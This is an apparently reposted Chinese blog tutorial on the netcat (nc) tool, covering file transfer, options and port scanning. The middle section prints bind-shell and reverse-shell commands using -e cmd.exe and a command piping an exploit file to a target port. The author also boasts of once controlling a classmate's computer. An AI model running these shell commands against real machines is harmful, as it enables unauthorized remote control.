{linux系统应用}之nc(netcat)瑞士军刀

Linux nc (netcat) 命令:网络界的瑞士军刀 在网络管理员、系统工程师和安全专家的工具箱中,nc (netcat) 无疑是最闪亮的一把"瑞士军刀"。它简单而强大,灵活且高效,能够处理几乎所有与网络相关的任务。无论是简单的**端口扫描**,还是复杂的网络调试,nc都能够轻松胜任。 阅读详情

刚刚学黑的家伙们应该都是知道nc(netcat),这个瑞士军刀吧!它的好处多多,现在我再次回味一下吧 (曾经用它控制了一同学的电脑蹭了好几个月的网,不过我没干坏事哟)

百度百科:http://baike.baidu.com/view/560266.htm

维基解密:http://zh.wikipedia.org/wiki/Netcat

******************以下是转载的,自己难得写。

转载地址:http://blog.sina.com.cn/s/blog_613596840100ym43.html 

今天在饮水思源上闲逛,看到了一个贴子关于Linux下nc命来实现文件传输,进行学习了解了一下。

发送端:
cat test.txt | nc -l -p 6666
或者nc -l  -p 6666 < test.txt                    有些版本不要在 -p
【监听6666端口,等待连接】(设发送端IP为10.20.133.152)
接收端:
nc 10.20.133.152 6666 > test1.txt
如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端 口...]
补充说明:执行本指令可设置路由器的相关参数。
参  数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

另外,nc命令也可用于端口扫描:
nc -v -z -w2 10.20.133.152 1-14000
可以扫描10.20.133.152主机上的1~14000号TCP端口;

nc -u -v -z -w2 10.20.133.152 1-14000
可以扫描10.20.133.152主机上的1~14000号UDP端口。


nc是一款很不错的网络检测工具,以下是详细使用。
'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port [ports] ...
   nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:'c:\exploit.txt'为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘>'
  改为‘>>'即可以追加日志
附:'c:\log.txt'为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!
10)备份档案
Windows_NC木马后门攻击复现 nc是一种常用的网络工具也被称为Netcat,它是一款TCP/IP连接工具,被誉为网络工具中的“瑞士军刀”。在渗透测试中,NC常被用来监听本地端口,等待主机的shell反弹连接。此外,它还可以用于文件传输、探测端口指纹,甚至可以用于聊天。由于NC是一种网络管理工具,因此在Windows系统中,它通常不会被杀毒软件误报或检测出病毒。本次我们利用nc的-e参数将远程windows计算机的cmd连接到本地主机的tcp端口实现后门控制的目的。声明:本次测试仅供网络安全学习者研究与学习使用,严禁将其用于任何违法行为。 阅读详情

相关推荐

linux nc下载,ncview 用来处理LINUX虚拟机中的nc文件 - 下载 - 搜珍网

压缩包 : ncview-2.1.1.tar.gz 列表ncview-2.1.1/ncview-2.1.1/'ncview-2.1.1/ttncview-2.1.1/src/ncview-2.1.1/src/tshncview-2.1.1/src/colormaps_helix.hncview-2.1.1/src/colormaps_helix2.hncview-2.1.1/src/colorma...

weixin_28893221的博客 1543

Linux下安装包或命令安装netcat(nc)

1、下载netcat安装包2、解压安装包3、文件移动将解压后的文件移动到想要放置的目录下,这里移动到/usr/local4、编译安装1:进入解压目录执行命令: ./configure5、测试安装是否成功nc --help。

qq_40898302的博客 7970

Linux下Netcat安装

Linux下Netcat安装 在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。 一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。 安装方式一:yum安装 yum insta...

qq_40141436的博客 1883

NC(黑客界的瑞士军刀)的用法

四个命令 命令1:监听命令 nc -l -p port nc -l -p port > e:\log.dat nc -l -v -p port 参数解释: -l:监听端口,监听入站信息 -p:后跟本地端口号 -v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息 提示:一般大家都爱用-vv nc -l -p 80 这个很简单,监听80端...

老中医 417

瑞士军刀Netcat(nc)简单使用方法及实战应用

Netcat(nc)是一款短小却十分强大的工具(我在下载Windows下nc时还以为下载错了:-)),有瑞士军刀的美誉 获取方法: linux: sudo apt-get install netcat windows:访问netcat官网下载(https://eternallybored.org/misc/netcat/) nc大都被用来传输文件,聊天(不可加密),端口扫描,审计 netcat分为...

weixin_45432023的博客 2774

nc工具!Netcat:TCP/IP瑞士军刀!全参数详细教程!Kali Linux教程!

Netcat 是一个简单的 Unix 实用程序,使用 TCP 或 UDP 协议跨网络连接读写数据。它被设计为一个可靠的“后端”工具,可以直接使用,也可以由其他程序和脚本轻松驱动。同时,它也是一个功能丰富的网络调试和探索工具,因为它可以创建几乎任何类型的连接,并具有一些有趣的内置功能。Netcat,或者实际程序名称“nc”,早就应该作为另一个神秘但标准的 Unix 工具提供。这是由 Hobbit 编写的“经典” Netcat。它缺少 Netcat-openbsd 中的许多功能。

qq_24305079的博客 1866

Linux网络瑞士军刀 nc(netcat)

nc(netcat)是一个短小精悍、功能实用、简单可靠的网络工具,主要有如下作用:(1)端口侦听,nc 可以作为 server 以 TCP 或 UDP 方式侦听指定端口;(2)端口扫描,nc 可以作为 client 发起 TCP 或 UDP 请求;(3)机器之间传输文件;(4)机器之间网络测速。nc 通过在两台机器之间建立连接来完成很多网络功能,数据传输、网络连接、端口扫描等,也有助于我们进行网络调试,排查网络故障。

新法的博客 3079

kali linux渗透常用工具—NETCAT[瑞士军刀NC]

NETCAT被誉为网络安全界的‘瑞士军刀’,初识或从事网络安全的人都不会陌生。 这是一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。 它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。 同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。 NC–NATCAT(跨平台远程连接工...

qq_41850110的博客 2174

linux 命令:scp (pscp)、rz/sz、nc (netcat)、ncat、socat、ssh、端口转发(rinetd)

NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal。因其功能十分强大,体积小巧而出名,被誉为网络安全界的 "瑞士军刀"。Netcat 使用 TCP 或 UDP 协议的网络连接去读写数据。Netcat 也是稳定的后门工具、功能强大的网络调试和探测工具。能够直接由其它程序和脚本轻松驱动。能够建立几乎所有类型的网络连接。在中国NC 的 WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由 "红与黑" 编译后的新浓缩版。.........

freeking101的博客 3万+

nc(netcat)在Linux中手动构造HTTP请求

(netcat)是Linux下的网络调试利器,被誉为“网络瑞士军刀”。它不仅能监听端口、传输数据,还能手动构造HTTP请求,帮助开发者快速测试Web服务或排查网络问题。手动构造请求,开发者能深入理解HTTP协议细节,同时灵活应对紧急调试需求。之后输入HTTP请求(与普通HTTP相同)。参数测试UDP服务(如DNS查询)。头:必需(尤其针对虚拟主机)。学习HTTP协议底层交互过程。:请求方法、路径和协议版本。手动测试API接口(尤其无。参数限制等待时间(秒)。必须与数据体长度一致。数据体后无需额外空行。

weixin_73725158的博客 1098

Kali linux 学习笔记(四)基本工具熟悉——nc(netcat) 2020.2.14

熟悉基本工具netcat

闵行小鱼塘 2270

nc之netcat端口测试与nmap工具

nc介绍: nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,其有Windows和Linux的版本,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。 nc的作用: (1)实现任意TCP/UDP端口的侦听,nc可以作为serve...

a226433955的博客 1015

Linux安装nc

Linux安装nc

Ubuntu系统之Netcat(nc)命令的基本使用

Ubuntu系统之Netcat(nc)命令的基本使用

jks212454的博客 1077

Python学习(一)

快速入门 1.Linux系统中是可以直接使用Python进行编程,具体如下: 进入Python:在linux的Terminal中输入 Python ,进入Python的命令行; 退出Python:在linux的Terminal中输入quit() 或 exit() 或 ctrl +d ,再回车,退出Python的命令行。 2.python的源程序就是一个特殊格式的文本文件,可以使用任意文本编辑软件做Python的开发。 3.Python程序的文件扩展名通常都是 .py。 4.执行Python程序的方式:在

SummerXRT的博客 1275

STM32实战:ADXL345传感器驱动与数据采集全解析(IIC/SPI双模式适配)

本文详细解析了STM32驱动ADXL345传感器的全流程,包括IIC和SPI双模式适配、硬件连接、寄存器配置及数据采集处理。通过实战代码示例和常见问题排查指南,帮助开发者快速实现高精度加速度数据采集,适用于运动检测、姿态识别等多种嵌入式应用场景。

weixin_29171087的博客 305

Linux网络命令nc(netcat)

*nc,全名叫 netcat,它可以用来完成很多的网络功能,譬如端口扫描、建立TCP/UDP连接,数据传输、网络调试等等,因此,它也常被称为网络工具的 瑞士军刀 。 使用方式 我们可以这样来使用它:* nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] ...

代码笔记 819

DAZ STUDIO 快速渲染技巧

DAZ STUDIO 快速渲染技巧: 本文将向您展示几个快速渲染技巧。您将学习如何使您的Daz Iray渲染和照明在Daz工作室内更快。 当你有一个大场景,这可能需要很多小时进行渲染。 但是如果你想大幅度降低渲染时间呢?这篇文章的提示应该能让你达到这个目标。 首先,我们需要弄清楚一件事——没有“完美的环境或设置”这样的东西。是因为渲染设置是高度个性化和主观性的东西,这主要取决于场景和硬件。如果你有一个功能强大的计算机,你可以允许更多的低渲染时间,反之亦然。因此,一切都取决于您尝试渲染的对象和机器。

DAZSTUDIO的博客 9631

解决win10 下NC(瑞士军刀)的无法使用的问题

解决win10 下NC(瑞士军刀)的无法使用的问题 1、下载netcat(NC) 1.1 下载地址:https://eternallybored.org/misc/netcat/ 1.2 下载后杀毒软件会拦截,说是有木马, 点击忽略,解压拷贝出nc.exe文件到自己方便的文件目录我的在d:盘根目录下 1.2 在win10 下打开cmd窗口运行nc -l -p 8888时发现卡住不动了 全网搜...

weixin_39094101的博客 5464

初识Classic AUTOSAR开发工具链

在过去,软件和硬件之间具有很强的耦合性,阻碍了软件组件在不同硬件平台上的可移植性和重用性。而AUTOSAR作为汽车电子行业的标准,提供标准的软件接口定义,工程师可以根据需求将软件组件分配到汽车的ECU中,实现标准软件组件的可重用性。

怿星科技的博客 8082

微调BERT进行中文文本分类任务(Pytorch代码实现)

BERT(Bidirectional Encoder Representation from Transformers)是2018年10月由Google AI研究院提出的一种预训练模型。其模型结构由多层Transformer的Encoder堆叠而成,在大规模语料中进行预训练后,迁移到下游任务,仅进行参数微调训练,就能显著提升性能。本文聚焦于微调中文BERT进行新闻标题分类任务的代码实现。

Iswayzw的博客 1万+

Linux下的nc命令:网络工具的瑞士军刀

nc命令的功能和用法非常广泛,它是网络工具中的一把瑞士军刀,可以满足各种网络任务的需求。深入了解和熟练使用nc命令,将提高您在 Linux 系统中进行网络工作的效率和灵活性。希望本文提供的详细示例代码对您有所帮助,能够更好地利用nc命令进行各种网络操作。

GitHub_miao的博客 824

网络攻防实验——网络监听

利用CAIN实现ARP监听。

Trieyes_of_feng的博客 3183

Netcat for Windows:如何在Windows上使用终极TCP/IP网络调试瑞士军刀

你是否曾经在Windows环境中调试网络服务时,感觉像在黑暗中摸索?当Linux用户轻松使用netcat这个"瑞士军刀"时,Windows用户却只能望洋兴叹。Netcat for Windows(nc.exe)正是为Windows平台量身打造的TCP/IP网络调试神器,让你在Windows命令行中也能享受强大的网络调试能力! Netcat for Windows是专为Windows 32/64位

gitblog_00369的博客 1172

OpenClaw实战-行政与HR必备:AI驱动的办公自动化

智能会议纪要自动生成会议时间智能协调自动提醒和跟进简历智能筛选和匹配度分析面试安排自动化入职办理流程化通知公告一键发布发票识别和报销辅助资产管理数字化让AI处理繁杂的事务性工作,让您有更多时间专注于更有价值的战略和管理任务。

gaoxiang_120的专栏 211

YOLOv10涨点改进:SPPF原创自研创新 | SPPF创新结构,重新设计全局平均池化层和全局最大池化层,增强全局视角信息和不同尺度大小的特征

SPPF原创自研创新

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 2079
上一篇: {嵌入式}三种嵌入式web服务器(Boa / lighttpd / shttpd)的 linux移植笔记
下一篇: {嵌入式stm32}之关于GPIO的输入输出
小雪狼
博客等级 码龄15年 46粉丝 104原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值